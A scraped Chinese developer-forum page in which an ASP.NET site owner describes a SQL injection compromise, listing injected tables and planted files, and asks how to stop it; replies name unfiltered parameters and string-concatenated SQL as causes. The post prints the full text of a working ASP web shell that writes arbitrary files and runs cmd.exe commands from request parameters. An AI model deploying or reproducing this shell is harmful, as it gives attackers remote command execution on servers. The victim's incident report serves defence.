易截截图软件、单文件、免安装、纯绿色、仅160KB

asp.net网站受到了url攻击. - .NET技术 / ASP.NET

注入了四个表
d99_cmd,d99_reg,d99_tmp,pangolin_test_table
在网站的根目录里注入了四个文件
98.asp,315.asp,db.asp,le.asp
在我的C盘里注入了一个cpand99.txt文件
它的内容是:
<%Dim objFSO%> 
<%Dim fdata%> 
<%Dim objCountFile%> 
<%on error resume next%> 
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> 
<%if Trim(request("syfdpath"))<>"" then%> 
<%fdata = request("cyfddata")%> 
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> 
<%objCountFile.Write fdata%> 
<%else%> 
<%end if%> 
<%err.clear%> 
<%end if%> 
<%Set objFSO = Nothing%> 
<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%> 

我看了一下日志.是通过url用sql注入的.我想问一下我能不能通过重写一个url把这个解决掉.
还是就是能不能有别的办法不要再让它向里面写文件了.我网站已经把everyone 用户删除了.其它的用户也只有read的权限.可还是注入了.请高手救命呀!
不知道被注入的 URL 是什么?具体的其他参数?你的业务处理和数据过程?

url参数没过滤

sql存储过程没使用

文件上传类型识别不彻底

站内搜索框参数没过滤

.....

检查程序里面有没有拼接


相关问答:

动态取得asp类成员

有一个类
class adc
{
dim a,b,c
}
如何在另外一个类中取得类成员及成员个数
class getmenber
{
dim menbers()
function getmenbers(resclass)
'res为一未知类
'getmenber ......

在asp.net里面脚本出错 - .NET技术 / ASP.NET

function CheckOpwd(){//验证用户名
var pwd=document.all.txtOpwd;

var div1=document.getElementById("divPwd");

if (pwd.value=="")
{
......

asp 调用java写的webservice - Web 开发 / ASP

在asp里怎么调用java写的webservice方法,有很多方法
- <message name="RtPnrIn">
  <part name="bstrPnrNO" type="s:string" /> 
  <part name ......

asp.net 页面限时提交 如何实现 - .NET技术 / ASP.NET

1.asp.net做的一个答题页面,如何实时限时后自动提交,请大家给点思路
限时的时间信息存放在数据库中
2.如果答题时间设置的较长,如何方式session超时后页面无效
谢谢
用js方法来控制
回复内容太短了。。

js ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号